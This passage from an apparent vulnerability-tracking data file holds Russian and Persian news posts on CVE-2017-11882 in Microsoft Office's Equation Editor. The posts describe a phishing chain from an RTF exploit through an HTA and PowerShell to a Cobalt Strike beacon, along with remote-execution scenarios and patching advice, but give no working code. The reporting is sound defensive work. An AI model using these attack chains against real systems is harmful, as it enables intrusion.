\u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u041d\u041f\u041e \u00ab\u041a\u0417\u0421\u0422\u00bb.\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0430\u043a\u0435\u0440\u044b \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u043d \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 RTF \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u043a \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882 \u0432 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u043e\u043b\u0435\u0435 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .ru \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 PowerShell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 Cobalt Strike. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u0430\u044f\u0447\u043a\u0430 Cobalt Strike \u0441 \u0432\u0448\u0438\u0442\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-30T00:02:53.927402Z"}, {"uuid": "4d35bf42-e731-45f0-883b-5b9e4c361392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6369", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0646\u0635\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0647\u0646\u06af\u0627\u0645 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u0627\u06cc\u062f \u0628\u0633\u06cc\u0627\u0631 \u0645\u0631\u0627\u0642\u0628 \u0628\u0627\u0634\u06cc\u062f.\n\n\u0647\u0646\u06af\u0627\u0645\u06cc\u200c\u06a9\u0647 \u062c\u0647\u0627\u0646 \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u0627 \u062a\u0647\u062f\u06cc\u062f \u0648\u06cc\u0698\u06af\u06cc \u062f\u0627\u062e\u0644\u06cc DDE \u00ab\u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647\u00bb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0627\u062c\u0647 \u0627\u0633\u062a\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u062c\u062f\u06cc \u062f\u0631 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0622\u0641\u06cc\u0633 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0647\u062f\u0641 \u0646\u0635\u0628 \u0646\u0645\u0627\u06cc\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u0627\u0634\u06a9\u0627\u0644 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0627\u0641\u0638\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u062f\u0631 \u06f1\u06f7 \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f3\u06f6\u06f5\u060c \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a \u0648 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u062a\u0627\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0633\u0646\u062f \u0645\u062e\u0631\u0628 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631\u060c \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 EQNEDT\u06f3\u06f2.EXE\u060c \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0645\u0633\u0626\u0648\u0644 \u062f\u0631\u062c \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc (\u0627\u0634\u06cc\u0627\u06cc OLE) \u0645\u0648\u062c\u0648\u062f \u0627\u0633\u0646\u0627\u062f \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0645\u0644\u06cc\u0627\u062a \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u0627\u062f\u0631 \u0628\u0647 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0646\u0628\u0648\u062f\u0647 \u0648 \u062e\u0631\u0627\u0628\u06cc \u0622\u0646 \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\u06f1\u06f7 \u0633\u0627\u0644 \u067e\u06cc\u0634\u060c EQNEDT\u06f3\u06f2.EXE \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f0 \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0628\u0647\u200c\u0645\u0646\u0638\u0648\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631 \u0633\u0627\u0632\u06af\u0627\u0631 \u0628\u0627\u0642\u06cc \u0645\u06cc\u200c\u0645\u0627\u0646\u062f\u060c \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u067e\u0633 \u0627\u0632 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f7 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0647 \u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\n\u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u060c \u0628\u0647 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0627\u0635 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0628\u0627 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06cc\u0627 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u0631\u062f\u067e\u064e\u062f \u0646\u06cc\u0627\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0631\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0647\u0646\u06af\u0627\u0645 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0647\u0633\u062a\u0647\u200c \u0648\u06cc\u0646\u062f\u0648\u0632 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f4\u06f7)\u060c \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0645\u062d\u0642\u0642\u0627\u0646 Embedi \u062f\u0631\u062d\u0627\u0644\u06cc\u200c\u06a9\u0647 \u062f\u0627\u0645\u0646\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0686\u0646\u062f\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f:\n\n\u00ab\u0628\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u06cc \u0631\u06cc\u0627\u0636\u06cc \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 \u062a\u0648\u0627\u0644\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f (\u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646).\n\n\u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 WebDAV \u062a\u062d\u062a \u06a9\u0646\u062a\u0631\u0644 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f. \u0686\u0646\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06cc\u06a9 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc WebClient \u0628\u0647\u200c\u06a9\u0627\u0631 \u0631\u0648\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u062d\u0641\u0627\u0638\u062a \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0622\u0633\u06cc\u0628\u200e\u067e\u0630\u06cc\u0631\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633\n\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0645\u0627\u0647\u060c \u0628\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u062d\u0648\u0647\u200c\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647\u200c\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0631\u0641\u0639 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0647 \u200c\u0634\u062f\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u06a9\u0646\u062a\u0631\u0644 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0648 \u0645\u062c\u0631\u0645\u0627\u0646 \u0633\u0627\u06cc\u0628\u0631\u06cc\u060c \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u0646\u062f.\n\n\u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u062f\u0627\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0626\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0631\u0627\u062d\u062a\u06cc \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f\u060c \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0634\u0645\u0627 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-30T00:03:12.010264Z"}, {"uuid": "311f5623-6497-4bea-8af5-f7b5efca5cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/KaitNews/6735", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 Cobalt \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83c\udf15\ud83d\udcd8 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd8\ud83c\udf15\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 